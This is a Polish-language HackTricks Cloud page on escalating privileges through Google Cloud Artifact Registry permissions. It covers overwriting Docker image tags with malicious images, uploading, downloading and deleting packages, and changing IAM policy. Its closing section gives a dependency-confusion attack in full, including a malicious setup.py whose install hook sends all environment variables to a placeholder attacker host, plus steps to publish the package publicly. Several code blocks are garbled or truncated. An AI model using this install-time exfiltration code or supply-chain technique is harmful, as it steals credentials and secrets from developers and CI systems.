GCP - Artifact Registry Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Artifact Registry
Aby uzyskać więcej informacji o Artifact Registry, sprawdź:
artifactregistry.repositories.uploadArtifacts
Dzięki temu uprawnieniu atakujący mógłby przesyłać nowe wersje artefaktów zawierające złośliwy kod, np. Docker images:
Prześlij obraz Docker do Artifact Registry
```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockertag the image to upload it
docker tag
Upload it
docker push
</details>
> [!CAUTION]
> Sprawdzono, że jest **możliwe przesłanie nowego złośliwego obrazu docker** o tej samej nazwie i tagu co już obecny, więc **stary utraci tag** i następnym razem, gdy obraz o tym tagu zostanie **pobrany, zostanie pobrany złośliwy**.
<details>
<summary>Prześlij bibliotekę Python</summary>
**Zacznij od utworzenia biblioteki do przesłania** (jeśli możesz pobrać najnowszą wersję z registry możesz uniknąć tego kroku):
1. **Skonfiguruj strukturę projektu**:
- Utwórz nowy katalog dla swojej biblioteki, np. `hello_world_library`.
- Wewnątrz tego katalogu utwórz kolejny katalog z nazwą pakietu, np. `hello_world`.
- W katalogu pakietu utwórz plik `__init__.py`. Plik ten może być pusty lub może zawierać inicjalizacje dla pakietu.
<details>
<summary>Utwórz strukturę projektu</summary>
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
- Napisz kod biblioteki:
- W katalogu
hello_worldutwórz nowy plik Python dla modułu, np.greet.py. - Napisz funkcję “Hello, World!”:
Utwórz moduł biblioteki
# hello_world/greet.py
def say_hello():
return "Hello, World!"
- Utwórz plik
setup.py:
- W katalogu głównym
hello_world_libraryutwórz pliksetup.py. - Ten plik zawiera metadane o bibliotece i mówi Pythonowi, jak ją zainstalować.
Utwórz plik setup.py
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
Teraz wgrajmy bibliotekę:
- Zbuduj swój pakiet:
- Z katalogu głównego
hello_world_libraryuruchom:
Zbuduj pakiet Python
python3 setup.py sdist bdist_wheel
- Skonfiguruj uwierzytelnianie dla twine (używane do przesyłania pakietu):
- Upewnij się, że masz zainstalowane
twine(pip install twine). - Użyj
gcloud, aby skonfigurować poświadczenia:
Prześlij pakiet za pomocą twine
```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://- Wyczyść kompilację
Usuń artefakty kompilacji
```bash rm -rf dist build hello_world.egg-info ```Caution
Nie można wgrać biblioteki python o tej samej wersji co ta już obecna, ale można wgrać wyższe wersje (lub dodać dodatkowe
.0na końcu wersji jeśli to zadziała — choć nie w pythonie —), albo usunąć ostatnią wersję i wgrać nową (wymaganeartifactregistry.versions.delete):Delete artifact version
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
artifactregistry.repositories.downloadArtifacts
Dzięki temu uprawnieniu możesz pobrać artefakty i przeszukać je w poszukiwaniu wrażliwych informacji oraz luk w zabezpieczeniach.
Pobierz obraz Docker:
Pobierz obraz Docker z Artifact Registry
```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockerDowload image
docker pull
</details>
Pobierz bibliotekę **python**:
<details>
<summary>Pobierz bibliotekę Python z Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
- Co się stanie, jeśli rejestr remote i rejestr standardowy zostaną połączone w rejestrze wirtualnym i pakiet istnieje w obu? Sprawdź tę stronę:
GCP - Artifact Registry Persistence
artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)
Usuwa artefakty z rejestru, takie jak obrazy docker:
Usuń obraz Docker z Artifact Registry
```bash # Delete a docker image gcloud artifacts docker images deleteartifactregistry.repositories.delete
Usuń całe repozytorium (nawet jeśli zawiera zawartość):
Usuń repozytorium Artifact Registry
``` gcloud artifacts repositories deleteartifactregistry.repositories.setIamPolicy
Atakujący z tym uprawnieniem mógłby przyznać sobie uprawnienia umożliwiające wykonanie niektórych wcześniej wymienionych ataków na repozytorium.
Pivoting to other Services through Artifact Registry Read & Write
- Cloud Functions
Kiedy tworzona jest Cloud Function, nowy obraz docker jest wypychany do Artifact Registry projektu. Próbowałem zmodyfikować obraz na nowy, a nawet usunąć bieżący obraz (i obraz cache) i nic się nie zmieniło — funkcja nadal działała. Dlatego może być możliwe nadużycie Race Condition attack jak w przypadku bucketu, aby zmienić kontener docker, który zostanie uruchomiony, jednak samo modyfikowanie przechowywanego obrazu nie pozwala na kompromitację Cloud Function.
- App Engine
Mimo że App Engine tworzy obrazy docker w Artifact Registry. Przetestowano, że nawet jeśli zmodyfikujesz obraz w tej usłudze i usuniesz instancję App Engine (więc wdrażana jest nowa), to wykonywany kod się nie zmienia.\ Może być możliwe, że wykonując Race Condition attack, podobnie jak w przypadku bucketów, można nadpisać wykonywany kod, ale tego nie testowano.
artifactregistry.repositories.update
Atakujący nie potrzebuje specyficznych uprawnień w Artifact Registry, aby wykorzystać ten problem — wystarczy podatna konfiguracja wirtualnego repozytorium. Dzieje się tak, gdy wirtualne repozytorium łączy zdalne publiczne repozytorium (np. PyPI, npm) z wewnętrznym, a źródło zdalne ma równy lub wyższy priorytet. Jeśli oba zawierają pakiet o tej samej nazwie, system wybiera najwyższą wersję. Atakujący musi jedynie znać nazwę wewnętrznego pakietu i mieć możliwość publikowania pakietów w odpowiadającym publicznym rejestrze.
Z uprawnieniem artifactregistry.repositories.update atakujący mógłby zmienić ustawienia upstream wirtualnego repozytorium, by celowo stworzyć taką podatną konfigurację i użyć Dependency Confusion jako metody persystencji, wstawiając złośliwe pakiety, które deweloperzy lub systemy CI/CD mogą instalować automatycznie.
Atakujący tworzy złośliwą wersję wewnętrznego pakietu w publicznym repozytorium z wyższym numerem wersji. Dla pakietów Python oznacza to przygotowanie struktury pakietu imitującej legalną.
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
Plik setup.py jest następnie tworzony i zawiera złośliwy kod, który uruchomi się podczas instalacji. Ten plik musi określać numer wersji wyższy niż ten w prywatnym repozytorium.
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
Zbuduj pakiet i usuń plik wheel, aby zapewnić wykonanie kodu podczas instalacji.
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
Prześlij złośliwy pakiet do publicznego repozytorium (na przykład test.pypi.org dla Pythona).
pip install twine
twine upload --repository testpypi dist/*
Gdy system lub usługa instaluje pakiet, korzystając z repozytorium wirtualnego, pobierze złośliwą wersję z publicznego repozytorium zamiast prawidłowej wersji z repozytorium wewnętrznego, ponieważ złośliwa wersja ma wyższy numer, a zdalne repozytorium ma równy lub wyższy priorytet.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

